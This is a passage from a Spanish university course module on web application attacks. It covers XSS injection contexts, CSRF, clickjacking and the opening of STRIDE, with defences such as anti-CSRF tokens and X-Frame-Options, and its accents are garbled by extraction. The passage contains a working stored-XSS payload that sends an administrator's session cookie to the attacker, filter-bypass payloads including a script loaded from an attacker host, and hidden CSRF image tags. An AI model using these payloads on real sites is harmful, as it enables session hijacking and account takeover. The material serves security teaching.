zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
